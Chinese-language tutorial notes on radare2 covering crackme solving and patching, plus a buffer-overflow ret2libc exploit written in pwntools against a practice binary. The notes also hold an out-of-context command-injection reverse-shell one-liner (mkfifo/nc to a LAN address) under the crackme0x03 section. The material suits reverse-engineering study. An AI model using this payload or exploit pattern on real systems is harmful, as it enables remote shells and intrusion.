正版官方教程:https://www.megabeets.net/a-journey-into-radare-2-part-1/

从入门到放弃:https://xz.aliyun.com/t/7265

逆向笔记:https://evilpan.com/2018/02/09/play-with-radare2/

CTF入门指南工具篇:https://www.bookstack.cn/read/CTF-All-In-One/doc-2.2.1_radare2.md

1、安装radare2

sudo apt install -y gcc make cmake curl git  gcc-multilib
git clone https://github.com/radare/radare2.git
cd radare2
./sys/install.sh

# 卸载
make uninstall
make purge

2、下载破解案列1:

https://github.com/ITAYC0HEN/A-journey-into-Radare2/blob/master/Part%201%20-%20Simple%20crackme/megabeets_0x1

首先编译下面代码
gcc -o main.c xxx

#include <stdio.h>
#include <string.h>

void rot13 (char *s) {
    if (s == NULL)
        return;
    int i;
    for (i = 0; s[i]; i++) {
        if (s[i] >= 'a' && s[i] <= 'm') { s[i] += 13; continue; }
        if (s[i] >= 'A' && s[i] <= 'M') { s[i] += 13; continue; }
        if (s[i] >= 'n' && s[i] <= 'z') { s[i] -= 13; continue; }
        if (s[i] >= 'N' && s[i] <= 'Z') { s[i] -= 13; continue; }
    }
}

int beet(char *name)
{
    char buf[128];
    strcpy(buf, name);
    char string[] = "Megabeets";
    rot13(string);

    return !strcmp(buf, string);
}

int main(int argc, char *argv[])
{
    printf("\n  .:: Megabeets ::.\n");
    printf("Think you can make it?\n");
    if (argc >= 2 && beet(argv[1]))
    {
        printf("Success!\n\n");
    }
    else
        printf("Nop, Wrong argument.\n\n");

    return 0;
}

3、命令行帮助

r2 -h

# rabin2允许从二进制文件中提取信息,包括section, header, Imports, Strings, Entrypoints等。然后,它可以以几种格式导出输出。rabin2能够理解ELF、PE、Mach-O、Java CLASS等多种文件格式
man rabin2

4、新手入门练习1

# -I 查看程序操作系统、语言、字节顺序、架构、缓和(canary、pic、nx)等二进制信息。
rabin2 -I megabeets_0x1
# 运行
r2 megabeets_0x1 

# ie 指令查看入口点
0x08048370]> ie
[Entrypoints]
vaddr=0x08048370 paddr=0x00000370 haddr=0x00000018 hvaddr=0x08048018 type=program
1 entrypoints

# i? 获取i相关的指令信息
[0x08048370]> i?
Usage: i  Get info from opened file (see rabin2's manpage)
Output mode:
| '*'                Output in radare commands
| 'j'                Output in json

# it hash信息
# iz izz 在整个文件中搜索字符串

# a?

# aaa 等效于, 加载程序必须先执行这一步
r2 -A megabeets_0x1

# f?
# fs 列出标记空间,下面是列出和打印
fs imports;f
fs strings;f

# ax?  @@?  axt?

# seek s?

# 显示字符地址
axt @@ str.*

4.1 分析函数列表 符号列表


afl
0x00001060    1 46           entry0
0x00001090    4 41   -> 34   sym.deregister_tm_clones
0x000010c0    4 57   -> 51   sym.register_tm_clones
0x00001100    5 57   -> 54   sym.__do_global_dtors_aux
0x00001040    1 11           sym..plt.got
0x00001140    1 9            entry.init0
0x00001000    3 27           sym._init

# 符号列表
isp

4.2 寻找main函数然后打印出来

s main
pdf

4.3 视图模式

# v 进入视图模式
# p\P 返回 p返回反汇编视图
# q 退出
# ? 帮助
# enter 隐藏或显示其他界面

# :command  与vim类似的指令模式
# ;<comment> 写注释
# VV 进入函数框架模式,类似IDA开始的界面
# R 代码块设置为随机颜色
# g 跳转

# 视图模式下每个函数有数字编号,按该数字进入该函数
# :> ? 0x88 可以列出0x88的数据转换十进制,16禁制,浮点数等信息

4.4 搜索函数

afl
s sym.<fun_mame>
pdf

4.5 破解

# 使用r2自带算法解析rot13
!rahash2 -E rot -S s:13 -s "Megabeets\n"

ood?
ood Zrtnorrgf
dc

5、Crackme 实战练习

下载9个破解案列:https://github.com/mattetti/IOLI-crackme

64 位机器上可能需要安装 gcc-multilib 依赖包才能运行32位程序

crackme0x00

1 使用rabin2查看程序信息
jydr@jie:~/afolder/crackme$ rabin2 -I ./crackme0x00
arch     x86
baddr    0x8048000
binsz    7537
bintype  elf
bits     32
canary   false
class    ELF32
……
2 查看字符串
jydr@jie:~/afolder/crackme$ rabin2 -z crackme0x00
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000568 0x08048568 24  25   .rodata ascii IOLI Crackme Level 0x00\n
1   0x00000581 0x08048581 10  11   .rodata ascii Password: 
2   0x0000058f 0x0804858f 6   7    .rodata ascii 250382
3   0x00000596 0x08048596 18  19   .rodata ascii Invalid Password!\n
4   0x000005a9 0x080485a9 15  16   .rodata ascii Password OK :)\n
3 分析后进入main函数
# 分析全模块方式打开
r2 -A crackme0x00

# 查看函数和打印main
afl
pdf @ main
# 分析汇编后得知密码就是之前看到过的 250382
│           0x0804845e      c74424048f85.  mov dword [s2], str.250382  ; [0x804858f:4]=0x33303532 ; "250382" ; const char *s2
│           0x08048466      890424         mov dword [esp], eax        ; const char *s1
│           0x08048469      e8e2feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
│           0x0804846e      85c0           test eax, eax
│       ┌─< 0x08048470      740e           je 0x8048480
│       │   0x08048472      c70424968504.  mov dword [esp], str.Invalid_Password__n ; [0x8048596:4]=0x61766e49 ; "Invalid Password!\n" ; const char *format
│       │   0x08048479      e8c2feffff     call sym.imp.printf         ; int printf(const char *format)
│      ┌──< 0x0804847e      eb0c           jmp 0x804848c
│      ││   ; CODE XREF from main @ 0x8048470
│      │└─> 0x08048480      c70424a98504.  mov dword [esp], str.Password_OK_:__n ; [0x80485a9:4]=0x73736150 ; "Password OK :)\n" ; const char *format
│      │    0x08048487      e8b4feffff     call sym.imp.printf         ; int printf(const char *format)
│      │    ; CODE XREF from main @ 0x804847e
│      └──> 0x0804848c      b800000000     mov eax, 0
# 创建保存项目mc0
[0x08048360]> Ps mc0
4 命名变量
# 跳转到main 显示寄存器和变量
[0x08048360]> s main
[0x08048414]> afv
var char * s2 @ esp+0x4
var char * s1 @ ebp-0x18
[0x08048414]> pdf

# 查看一个scanf 的第一个参数
[0x08048414]> ps @ 0x804858c
%s

# 重命名变量
[0x08048414]> afvn passwd s2
[0x08048414]> afvn input s1
[0x08048414]> pdf
            ; DATA XREF from entry0 @ 0x8048377
┌ 127: int main (int argc, char **argv, char **envp);
│           ; var char *input @ ebp-0x18
│           ; var char *passwd @ esp+0x4

# 移除变量名
[0x08048414]> afv-s1

# 按v 进入视图模式 再按c 选中行 ; 写注释

5 打补丁
# 使用 -w 打开或者键入 oo+ 修改程序
r2 -w crackme0x00

# 定位到关键跳转地址
[0x08048414]> s 0x08048470

# 将机器码和需要汇编码互转
jydr@jie:~/afolder/crackme$ rasm2 -a x86 -b 32 -d "0x740e"
je 0x10
jydr@jie:~/afolder/crackme$ rasm2 -a x86 -b 32 "jmp 0x10"
eb0e

# px 查看当前 n 字节的机器码
[0x08048470]> px 20
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x08048470  740e c704 2496 8504 08e8 c2fe ffff eb0c  t...$...........

# wx 写入当前字节
[0x08048470]> wx eb
[0x08048470]> px 20
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x08048470  eb0e c704 2496 8504 08e8 c2fe ffff eb0c  ....$...........

crackme0x01

# 破解与0x00一样,使用rax2转换16进制数据
jydr@jie:~/afolder/crackme$ rax2 0x149a
5274

crackme0x02

# 看汇编可以计算出密码,下面直接打补丁

# 打印某个地址的n行代码
pd 20 @ 0x08048407

# 定位到跳转点
[0x08048451]> s 0x08048451
[0x08048451]> px 20
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x08048451  750e c704 246f 8504 08e8 bdfe ffff eb0c  u...$o..........
0x08048461  c704 247f                                ..$.

# 让程序可写
[0x08048451]> oo+

[0x08048451]> wx 9090

crackme0x03

与 crackme0x02 一样

# 进入某个函数的视图模式
VV @ sym.test
# 反弹shell
8.8.8.8 | echo `mkfifo /tmp/kbrh; nc 192.168.0.6 12345 0</tmp/kbrh | /bin/sh >/tmp/kbrh 2>&1; rm /tmp/kbrh`
先在攻击机开启监听端口 nc -lvvp 12345

6、进阶实战

#include <stdio.h>
#include <string.h>

void rot13 (char *s) {
    if (s == NULL)
        return;
    int i;
    for (i = 0; s[i]; i++) {
        if (s[i] >= 'a' && s[i] <= 'm') { s[i] += 13; continue; }
        if (s[i] >= 'A' && s[i] <= 'M') { s[i] += 13; continue; }
        if (s[i] >= 'n' && s[i] <= 'z') { s[i] -= 13; continue; }
        if (s[i] >= 'N' && s[i] <= 'Z') { s[i] -= 13; continue; }
    }
}

int beet(char *name)
{
    char buf[128];
    strcpy(buf, name);
    char string[] = "Megabeets";
    rot13(string);

    return !strcmp(buf, string);
}

int main(int argc, char *argv[])
{
    char *input; 
    puts("\n  .:: Megabeets ::.\n");
    puts("Show me what you got:");
    
    scanf("%ms", &input);
    if (beet(input))
    {
        printf("Success!\n\n");
    }
    else
        puts("Nop, Wrong argument.\n\n");

    return 0;
}
# 使用如下命令编译源码
gcc -m32  -fno-stack-protector -no-pie megabeets_0x2.c -o megabeets_0x2

1、动态调试

# 以调试模式打开
r2 -d megabeets_0x2

# 分析函数、符号等
aas

# dcu 运行到 main
[0xf7ef90b0]> dcu main
Continue until 0x080493a9 using 1 bpsize
hit breakpoint at: 0x80493a9

# VV 进入视图,g 可以跳转到函数或者地址

# 视图模式下 o 可以切换显示样式

# 这个程序没有堆栈检测,有溢出漏洞

2、ragg2 生成定位溢出点的字符串

使用 radare 框架中名为 ragg2 的工具,它允许生成名为De Bruijn Sequence的循环模式,并检查负载覆盖缓冲区的确切偏移量。

jydr@jie: $ ragg2 -P 100 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh

3、rarun2 找溢出点

rarun2 被用作启动器,用于运行不同环境、参数、权限、目录的程序,并覆盖默认文件描述符(例如stdin)。
当您必须使用长参数运行程序、将大量数据传递给stdin或类似的东西时,这是非常有用的,这通常是利用二进制文件的情况。

  • 使用ragg2将De Bruijn模式写入一个文件
  • 创建rarun2概要文件,并将输出文件设置为stdin
  • 让radare2施展魔法,找到偏移量
jydr@jie:~/afolder$ ragg2 -P 200 -r > fuzz.txt

jydr@jie:~/afolder$ vim run.rr2
jydr@jie:~/afolder$ cat run.rr2 
#!/usr/bin/rarun2
stdin=./fuzz.txt

jydr@jie:~/afolder$ r2 -r run.rr2 -d megabeets_0x2
Process with PID 82019 started...
= attach 82019 82019
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
 -- You will soon have an out of memory experience.

# dc 继续执行 在 0x41417641 断下
[0xf7f950b0]> dc

  .:: Megabeets ::.

Show me what you got:
[+] SIGNAL 11 errno=0 addr=0x41417641 code=1 si_pid=1094809153 ret=0
[0x41417641]> 

# wop 显示出具体的崩溃位置
[0x41417641]> wop?
Usage: wop[DO]   len @ addr | value
| wopD len [@ addr]   Write a De Bruijn Pattern of length 'len' at address 'addr'
| wopD* len [@ addr]  Show wx command that creates a debruijn pattern of a specific length
| wopO value          Finds the given value into a De Bruijn Pattern at current offset
[0x41417641]> wopO 0x41417641
140

4、i? 查看库和函数

# 进入调试模式查看引用的库
jydr@jie:~/afolder$ r2 -d megabeets_0x2

# il 查看库
[0xf7f870b0]> il
[Linked libraries]
libc.so.6
1 library


# ii iiq 查看函数
[0xf7f870b0]> ii
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x08049090 GLOBAL FUNC       strcmp
2   0x080490a0 GLOBAL FUNC       strcpy
3   0x080490b0 GLOBAL FUNC       puts
4   0x00000000 WEAK   NOTYPE     __gmon_start__
5   0x080490c0 GLOBAL FUNC       __libc_start_main
6   0x080490d0 GLOBAL FUNC       __isoc99_scanf

[0xf7f870b0]> iiq
strcmp
strcpy
puts
__gmon_start__
__libc_start_main
__isoc99_scanf

5、绕过和利用计划

因为有 NX 和 ASlR 安全机制,所以不能直接利用堆栈

  • 暴露 put 的真实地址
  • 计算 libc 的基址
  • 计算系统地址
  • 在 libc 中找到一个包含字符串 /bin/sh 的地址
  • 使用 /bin/sh 调用系统,生成一个shell

±--------------------+
| Stage 1
±--------------------+
| padding (140 bytes)
| puts@plt
| entry_point
| puts@got
±--------------------+

6、开始利用

# 安装 pwntools 框架
pip3 install pwntools
# 回到之前的r2 获取put@plt 地址
[0xf7f3a0b0]> ?v sym.imp.puts
0x80490b0
# 获取put@got 地址
[0xf7f3a0b0]> ?v reloc.puts
0x804c014
# 获取 entry point 地址
[0xf7f3a0b0]> ieq
0x080490e0

编写python 代码

from pwn import *
puts_plt = 0x80490b0
puts_got = 0x804c014
entry_point = 0x080490e0

def main():
    # open process
    p = process("./megabeets_0x2")

    # Initial payload
    payload = 'A'*140
    ropchain = p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)

    payload = str.encode(payload) + ropchain

    p.clean()
    p.sendline(payload)

    leak = p.recv(4)
    leak = u32(leak)
    log.info("puts is at: 0x%x" % leak)
    p.clean()
    
if __name__ == "__main__":
    main()
# 运行之后发现puts 函数的地址每次都是不同的,因为加载基址不同
jydr@jie:~/PycharmProjects/test1$ python3 main.py 
[+] Starting local process './megabeets_0x2': pid 89604
[*] puts is at: 0xf7d8c2b0
[*] Stopped process './megabeets_0x2' (pid 89604)
jydr@jie:~/PycharmProjects/test1$ python3 main.py 
[+] Starting local process './megabeets_0x2': pid 89612
[*] puts is at: 0xf7e0f2b0
[*] Stopped process './megabeets_0x2' (pid 89612)
jydr@jie:~/PycharmProjects/test1$ python3 main.py 
[+] Starting local process './megabeets_0x2': pid 90274
[*] puts is at: 0xf7dae2b0
[*] Stopped process './megabeets_0x2' (pid 90274)

首先,我们需要找到puts与libc的基址的偏移量。让我们再次打开radare2并继续执行,直到到达程序的入口点。我们必须这样做,因为radare2在libc加载之前就开始调试了。当我们到达入口点时,库肯定会被加载。

# 确定函数地址
jydr@jie:~/afolder$ r2 -d megabeets_0x2

[0xf7fa50b0]> dcu entry0
Continue until 0x080490e0 using 1 bpsize
hit breakpoint at: 0x80490e0

[0x080490e0]> dmi libc puts~ puts$
467 0x000712b0 0xf7e082b0 WEAK FUNC 539      puts

[0x080490e0]> dmi libc system~ system$
1560 0x00046040 0xf7ddd040 WEAK FUNC 63       system

[0x080490e0]> dmi libc exit~ exit$
152 0x000387b0 0xf7dcf7b0 GLOBAL FUNC 39       exit


# 在程序中查找“/bin/sh”的引用,为此,使用radare2的搜索功能。默认情况下,雷达在dbg.map是当前的内存映射。我们想要在所有内存映射中搜索,所以需要配置它:
[0x000387b0]> e search.in = dbg.maps

# 获取sh 地址
[0x000387b0]> / /bin/sh
……
0xf7f2d12f hit0_0 .b/strtod_l.c-c/bin/shexit 0canonica.

[0x000387b0]> dmm~libc
0xf7d3b000 0xf7d58000  /usr/lib32/libc-2.32.so

[0x080490e0]> ?X 0xf7ed112f-0xf7d3b000
19612f

最终脚本

# This is a sample Python script.

# Press Shift+F10 to execute it or replace it with your code.
# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.


from pwn import *
puts_plt = 0x80490b0
puts_got = 0x804c014
entry_point = 0x080490e0

offset_puts = 0x000712b0
offset_system = 0x00046040
offset_exit = 0x000387b0
offset_bin_sh = 0x19612f


def main():
    # open process
    p = process("./megabeets_0x2")

    # Initial payload
    payload = 'A'*140
    ropchain = p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)

    payload = str.encode(payload) + ropchain

    p.clean()
    p.sendline(payload)

    leak = p.recv(4)
    leak = u32(leak)
    log.info("puts is at: 0x%x" % leak)
    p.clean()

    libc_base = leak - offset_puts
    log.info("libc base: 0x%x" % libc_base)

    # Calculate offsets
    system_addr = libc_base + offset_system
    bin_sh_addr = libc_base + offset_bin_sh
    exit_addr = libc_base + offset_exit

    log.info("system: 0x%x" % system_addr)
    log.info("bin/sh: 0x%x" % bin_sh_addr)
    log.info("exit: 0x%x" % exit_addr)

    # Build 2nd payload
    payload2 = 'A' * 140
    ropchain2 = p32(system_addr)
    ropchain2 += p32(exit_addr)
    ropchain2 += p32(bin_sh_addr)

    payload2 = str.encode(payload2) + ropchain2
    p.sendline(payload2)

    log.success("Here comes the shell!!")

    p.clean()
    p.interactive()

if __name__ == "__main__":
    main()

执行成功后,将生出一个shell 可以执行指令

ydr@jie:~/PycharmProjects/test1$ python3 main.py 
[+] Starting local process './megabeets_0x2': pid 5592
[*] puts is at: 0xf7dcf2b0
[*] libc base: 0xf7d5e000
[*] system: 0xf7da4040
[*] bin/sh: 0xf7ef412f
[*] exit: 0xf7d967b0
[+] Here comes the shell!!
[*] Switching to interactive mode
$ ls
core  main.py  megabeets_0x2  venv
$ whoami
jydr
Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐